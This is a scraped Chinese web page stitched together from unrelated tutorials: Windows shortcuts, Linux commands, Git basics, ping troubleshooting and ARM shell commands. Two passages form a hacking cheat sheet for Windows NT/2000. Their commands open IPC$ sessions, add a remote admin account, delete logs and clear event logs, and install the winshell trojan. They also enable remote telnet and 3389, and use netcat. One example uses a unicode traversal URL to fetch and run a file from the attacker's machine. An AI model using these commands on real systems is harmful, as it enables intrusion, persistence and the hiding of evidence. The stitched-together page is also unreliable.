方法如下:地址栏写 about :abc 回车,就看到效果了.6.Windows快捷键:win+m 显示桌面win+pause 系统属性快速重新启动:按确定前先按shift(不适用于2k、xp).彻底删除:shift+del不让光盘自动运行:按shiftCtrl+Esc:相当于"开始"或WIN键Ctrl+Home:将游标移至文字编辑区的开始始(Home单用:移至列首)Ctrl+End:将光标移至文字编辑区的终点(End单用:移至列尾)Alt+F4:关闭当前视窗(若是点一下桌面再按则为关机)F2:更改名称windows+e 资源管理器.windows+r 运行.windows+f 查找.windows+u 关闭系统.windows+d最小化所有窗口,再按一次Win+D可回到最小化前的窗口.windows+m最小化所有窗口,但再按一次无法回到最小化前的窗口.Shift+F10,可以打开所选项目的右键菜单.按住 CTRL+SHIFT 拖动文件:创建快捷方式.7.关机快捷方式(1). 在桌面空白位置按鼠标右键 -> -> 选(2). 在键入 rundll.exe user.exe,exitwindows(3). 在键入或你想要的名称 -> 按8.重新启动快捷方式(1). 重复以上 (1)(2). 在键入 rundll.exe user.exe,exitwindow***ec(3). 在键入或你想要的名称 -> 按9.RUN - > cmd 或者command就会看到DOS窗口。
linux菜鸟基本命令

umount、chsh、exit、last;◆文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln;◆系统管理相关命令:df、top、free、quota、at、lp、adduser、groupadd、kill、crontab;◆网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、nslookup;◆系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who;◆其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。
本文以Mandrake Linux 9.1(Kenrel 2.4.21)为例,介绍Linux下的安装和登录命令。
login1.作用login的作用是登录系统,它的使用权限是所有用户。
2.格式login [name][-p ][-h 主机名称]3.主要参数-p:通知login保持现在的环境参数。
-h:用来向远程登录的之间传输用户名。
如果选择用命令行模式登录Linux的话,那么看到的第一个Linux命令就是login:。
一般界面是这样的:Manddrake Linux release 9.1(Bamboo) for i586renrel 2.4.21-0.13mdk on i686 / tty1localhost login:rootpass Word:上面代码中,第一行是Linux发行版本号,第二行是内核版本号和登录的虚拟控制台,我们在第三行输入登录名,按“Enter”键在Password 后输入账户密码,即可登录系统。
出于安全考虑,输入账户密码时字符不会在屏幕上回显,光标也不移动。
登录后会看到下面这个界面(以超级用户为例):[root@localhost root]#last login:Tue ,Nov 18 10:00:55 on vc/1上面显示的是登录星期、月、日、时间和使用的虚拟控制台。
菜鸟常用命令

菜鸟常用命令(与远程主机建立空管连接)net use \\ip地址\ipc$ "" /use:""(以管理员身份登录远程主机)net use \\ip地址\ipc$ "密码" /use:"administrator"(传送文件到远程主机winnt目录下)copy 本机目录路径\程序\\ip地址\admin$(查看远程主机时间)net time \\ip地址(定时启动某个程序)at \\ip地址02:18 readme.exe(查看共享)net view \\ip地址(查看netbios工作组列表)nbtstat -a ip地址(将远程主机c盘映射为自己的f盘)net use f: \\ip地址\c$ ""/user:"administrator"(这两条把自己增加到管理员组):net user 用户名密码/addnet localgroup administrators 用户名/add(断开连接)net use \\ip地址\ipc$ /deletedel c:\winnt\system32\logfiles\*.*del c:\winnt\ssytem32\config\*.evtdel c:\winnt\system32\dtclog\*.*del c:\winnt\system32\*.logdel c:\winnt\system32\*.txtdel c:\winnt\*.txtdel c:\winnt\*.log一、netsvc.exe下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:netsvc /list \\ip地址netsvc schedule \\ip地址/querynetsvc \\ip地址schedule /start二、opentelnet.exe远程启动主机的telnet服务,并绑定端口到7878,例如:opentelnet \\ip地址用户名密码1 7878然后就可以telnet到主机的7878端口,进入dos方式下:telnet ip地址7878三、winshell.exe一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令:p path (查看winshell主程序的路径信息)b reboot (重新启动机器)d shutdown (关闭机器)s shell (执行后你就会看到可爱的“c:\>”)x exit (退出本次登录会话,此命令并不终止winshell的运行)cmd> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)四、3389登陆器,gui方式登录远程主机的五、elsave.exe事件日志清除工具elsave -s \\ip地址-l "application" -celsave -s \\ip地址-l "system" -celsave -s \\ip地址-l "security" -c执行后成功清除应用程序日志,系统日志,安全日志六、hbulot.exe开启win2kserver和winxp的3389服务hbulot [/r]使用/r表示安装完成后自动重起目标使设置生效。
Git基本操作菜鸟教程

Git基本操作菜鸟教程Git 基本操作Git 的工作就是创建和保存你项目的快照及与之后的快照进行对比。
本章将对有关创建与提交你的项目快照的命令作介绍。
获取与创建项目命令git init用 git init 在目录中创建新的 Git 仓库。
你可以在任何时候、任何目录中这么做,完全是本地化的。
在目录中执行 git init,就可以创建一个 Git 仓库了。
比如我们创建 runoob 项目:$ mkdir runoob$ cd runoob/$ git initInitialized empty Git repository in /Users/tianqixin/www/runoob/.git/# 在/www/runoob/.git/ 目录初始化空 Git 仓库完毕。
现在你可以看到在你的项目中生成了 .git 这个子目录。
这就是你的 Git 仓库了,所有有关你的此项目的快照数据都存放在这里。
ls -a. .. .gitgit clone使用 git clone 拷贝一个 Git 仓库到本地,让自己能够查看该项目,或者进行修改。
如果你需要与他人合作一个项目,或者想要复制一个项目,看看代码,你就可以克隆那个项目。
执行命令:git clone [url][url] 为你想要复制的项目,就可以了。
例如我们克隆 Github 上的项目:$ git clone **************:schacon/simplegit.gitCloning into 'simplegit'...remote: Counting objects: 13, done.remote: Total 13 (delta 0), reused 0 (delta 0), pack-reused 13Receiving objects: 100% (13/13), done.Resolving deltas: 100% (2/2), done.Checkingconnectivity... done.克隆完成后,在当前目录下会生成一个 simplegit 目录:$ cd simplegit/$ lsREADME Rakefile lib上述操作将复制该项目的全部记录。
从windows到linux菜鸟有用的20个命令

菜鸟有用的20个命令(a)对于一个新手来说,如果计划从Windows换到Linux系统平台上来,或刚刚换到Linux 上来,使用Linux命令来帮助执行所有任务是一个基础的途径。
毫无疑问,在线文档,技术社区能提供很多相关的内容帮助,但是笔者从一篇文章收集到如何简单学习和理解Linux命令,这将会激发很多菜鸟掌握Linux和使用的积极性。
1. ls命令首先ls命令,指列出目录内容(List Directory Contents)的意思。
运行它可以列出文件夹里的内容。
“ls -l”命令以详情模式(long listing fashion)列出文件夹的内容。
“ls -a”命令会列出文件夹里的所有内容,包括以“.”开头的隐藏文件。
注意:在Linux中,文件以“.”开头的就是隐藏文件,并且每个文件、文件夹,设备或者命令都是以文件对待。
ls -l命令输出:1.d (代表了是目录).2.rwxr-xr-x是文件或者目录所属用户、用户组。
3.上面例子中第一个ravisaive代表了文件文件属于用户ravisaive4.上面例子中的第二个ravisaive代表了文件文件属于用户组ravisaive5.4096代表了文件大小为4096字节.6.May 8 01:06代表了文件最后一次修改的日期和时间.7.最后代表就是文件/文件夹的名字2. lsblk命令"lsblk"就是列出块设备。
除了RAM外,以标准的树状输出格式整齐地显示块设备。
“lsblk -l”命令以列表格式显示块设备(而不是树状格式)。
注意:lsblk是最有用和最简单的方式来了解新插入USB设备的名字,特别是当你在终端上处理磁盘/块设备时。
品牌:微软操作系统菜鸟有用的20个命令(b)3. md5sum命令“md5sum”就是计算和检验MD5信息签名。
md5 checksum(通常叫做hash)使用匹配或者验证文件的完整性,因为文件可能因为传输错误,磁盘错误或者无恶意的干扰等原因受影响。
ping命令

身为菜鸟级的电脑高手,必须掌握ping命令1.用快捷键win+R(win即键盘左下角的)打开运行菜单输入cmd,打开命令提示符2.预备知识,用命令ipconfig查看本机ip,键入ipconfig当电脑上不了网的时候,ping命令步骤如下:(1) ping 127.0.0.1—若丢失为100%,就表示TCP/IP的安装或运行存在某些最基本的问题。
建议重装系统以解决,以下为成功案例(2)ping 本机IP—若失败,则表示本地配置或安装存在问题。
出现此问题时,局域网(一般的用户都为为局域网)拔开网线,然后重新发送该命令。
如果网线断开后本命令正确,则表示另一台计算机可能配置了相同的IP地址,即发生ip冲突,此时可在命令行提示符下键入ipconfig /renew以重新获取ip地址解决。
(3)ping 局域网内其他IP(若知道可以使用,否则略过)—若失败表示子网掩码(进行子网分割时,将IP地址的网络部分与主机部分分开的代码)不正确或网卡配置错误或电缆系统(即网线)有问题。
(4)ping 网关IP--这个命令如果应答正确,表示局域网中的网关路由器正在运行并能够作出应答。
(5)ping 远程IP--如果收到4个应答,表示成功的使用了缺省网关。
对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。
(6)ping localhost--localhost是个作系统的网络保留名,它是127.0.0.1的别名,每太计算机都应该能够将该名字转换成该地址。
如果没有做到这一带内,则表示主机文件(/Windows/host)中存在问题。
(7)ping --对这个域名执行Ping,通常是通过DNS 服务器如果这里出现故障,则表示DNS服务器的IP地址配置不正确或DNS服务器有故障。
顺便说一句:你也可以利用该命令实现域名对IP地址的转换功能。
DNS出故障时,可以手动改dns,常用的有114.114.114.114或114.114.115.115OpenDNS:208.67.222.222 208.67.220.220Google DNS:8.8.8.8 8.8.4.4阿里DNS:223.5.5.5 223.6.6.6V2EX DNS:199.91.73.222 178.79.131.110OpenerDNS:42.120.21.30。
ARM命令菜鸟教程

ARM命令菜鸟教程ARM9菜鸟教程之Linux中经常使用的命令命令名称ls使用方法,ls+回车,可以查看当前目录,ls+目录名称,可以查看指定目录中的文件内容。
比如你要查看 mnt 目录上的文件,打 ls /mnt.2.3.2 更换当前目录命令名称cd使用方法:cd dir ―――更换到当前目录下的dir 目录cd / ―――更换到根目录cd .. ―――切换到到上一级目录2.3.3 复制命令名称cp使用方法cp src tgt ―――把文件src 复制为tgtcp /root/src . ―――把/root 下的文件src 复制到当前目录cp –av src_dir tgt_dir ―――把整个目录复制,两目录内容完全一样cp –fr src_dir tgt_dir ―――将整个目录复制,并且是以非链接方式复制,当source目录带有符号链接时,两个目录不相同2.3.4 时间日期命令名称datedate #显示当前日期时间date -s 13:22:22 #设置系统时间为13:22:22date -s 2007-3-14 #设置系统时期为2007-3-14 科立修改方法:date "0830********" (月日时分年)、hwclock - w 、reboot。
2.3.5 容量查看命令名称du使用方法du ―――显示当前目录的容量du /tgt ―――显示/tgt 目录的容量2.3.6 分页查看命令名称more使用方法more ―――分页命令,一般通过管道将内容传给它,如ls | more2.3.7 回显命令名称echo使用方法echo message ―――显示一串字符echo "message message2" ―――显示不连续的字符串2.3.8 挂接命令名称mount使用方法mount -t vfat /dev/hda3 /mnt ―――把硬盘A第三分区装载到/mnt 目录mount -t nfs 192.168.0.1:/yangchu /mnt ―――将nfs 服务的共享目录/yangchu 挂接到/mnt 目录命令名称mv使用方法mv src tgt ―――将文件src 更名为tgt2.3.10 删除命令名称rm使用方法rm file_name ―――删除一个叫做file_name的文件rm -fr dir ―――删除当前目录下叫dir 的整个目录2.3.11搜索命令名称grep使用方法grep -ir “chars” ―――在当前目录下的所有文件中查找字串chars,并忽略大小写,-i 为忽略大小写,-r 代表下一级目录2.3.12 改变文件权限命令名称chmod使用方法chmod a+x file ―――把file 文件设置为可执行,脚本类文件必须要这样设置,否则需要使用bash file 才能执行chmod 666 file ―――把文件file 设置为可读写2.3.13 查找命令名称find使用方法find -name /path file ―――在/path 目录下查找,看是否有文件file3.14 时间日期命令名称date使用方法date ―――打印当前日期时间2.3.14 文件内容查看命令名称cat使用方法cat file ―――显示文件file的内容(以ASCII码表示)2.3.15 压缩与解压命令名称tar使用方法tar xzvf file.tgz ―――把文件file.tgz 解压到压缩时的目录tar czvf file.tgz source_path ―――把文件或者文件夹source_path 压缩为file.tgz2.3.16 编辑命令名称vi使用方法vi file ―――编辑文件file在vi 状态下,输入命令的方式为先按ctrl+c,然后输入:x―――退出:x!―――退出并保存:w-――写入文件:w!―――不询问方式写入文件:r file―――读文件file:%s/oldchars/newchars/g―――将所有字串oldchars 换成newchars这些是基本的操作命令2.3.17 创建节点命令名称mknod使用方法mknod /dev/tty1 c 4 1 ―――创建字符设备tty1,主设备号为4,从设备号为1,即第一个tty终端2.3.18 进程查看命令名称ps使用方法ps ―――显示当前系统进程信息ps –ef ―――显示系统所有进程信息2.3.19 杀死进程命令名称kill使用方法kill -9 250 ―――将进程编号为250 的程序杀死2.3.20 比较命令名称diff使用方法diff dir1 dir2 ―――比较目录1 与目录2 的文件列表是否相同,但不比较文件的实际内容,不同则列出diff file1 file2 ―――比较文件1 与文件2 的内容是否相同,如果是文本格式的文件,则将不相同的内容显示,如果是二进制代码则只表示两个文件是不同的2.3.21 设置环境变量命令名称export使用方法export LC_ALL=zh_CN.GB2312 #将环境变量LC_ALL 的值设为zh_CN.GB23122.3.22 启动信息显示命令名称dmesg使用方法dmesg ―――显示kernel 启动及驱动装载信息2.3.23 网络设置命令命令名称ifconfig使用方法ifconfig命令可检查并设置主机的网络接口,在开发板上执行时不加任何参数会显示网卡与本地回路(lo,,loopback)的信息。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
d shutdown (关闭机器)
s shell (执行后你就会看到可爱的“c:\>”)
x exit (退出本次登录会话,此命令并不终止winshell的运行)
cmd> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
netsvc /list \\ip地址
netsvc schedule \\ip地址 /query
netsvc \\ip地址 schedule /start
二、opentelnet.exe
远程启动主机的telnet服务,并绑定端口到7878,例如:
opentelnet \\ip地址 用户名 密码 1 7878
然后直接安装 ·如果有3389,可以自己建一个iis,下载 直接运行
如果目标机开3389服务,可以直接连接
在sql的sa弱口令可以用sql连接器直接 ·登陆
后门木马
如果有ipc$共享,可以copy过去木马后门
用at启动
AT \ip time /INTERACTIVE
如果可以得到shell,也可以用tftp
Tftp.exe ?Ci ip get *.* *.*
del c:\winnt\system32\dtclog\*.*
del c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
-g num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的ip地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机ip地址 get 文件名 c:\winnt\system32\文件名
然后可以直接令文件运行:
http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
然后就可以telnet到主机的7878端口,进入dos方式下:
telnet ip地址 7878
三、winshell.exe
一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令:
p path (查看winshell主程序的路径信息)
ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有asp执行权限的目录。然后用ie浏览器连接。
十、弱口令
在nt\2000\xp\2003中弱口令可以用
Net use \ip “password” /user:user
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup administrators 用户名 /add
(断开连接) net use \\ip地址\ipc$ /delete
del c:\winnt\system32\logfiles\*.*
del c:\winnt\ssytem32\config\*.evt
(查看远程主机时间) net time \\ip地址
(定时启动某个程序) at \\ip地址 02:18 readme.exe
(查看共享) net view \\ip地址
(查看netbios工作组列表) nbtstat -a ip地址
(将远程主机c盘映射为自己的f盘) net use f: \\ip地址\c$ ""/user:"administrator"
九、prihack.exe是iis的printer远程缓ቤተ መጻሕፍቲ ባይዱ区溢出工具
idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
菜鸟常用命令
(与远程主机建立空管连接) net use \\ip地址\ipc$ "" /use:""
(以管理员身份登录远程主机) net use \\ip地址\ipc$ "密码" /use:"administrator"
(传送文件到远程主机winnt目录下)copy 本机目录路径\程序 \\ip地址\admin$
-s addr 本地源地址
-u udp模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、tftpd32.exe
把自己的电脑临时变为一台ftp服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用unicode漏洞或telnet到肉鸡,例如:
四、3389登陆器,gui方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s \\ip地址 -l "application" -c
elsave -s \\ip地址 -l "system" -c
elsave -s \\ip地址 -l "security" -c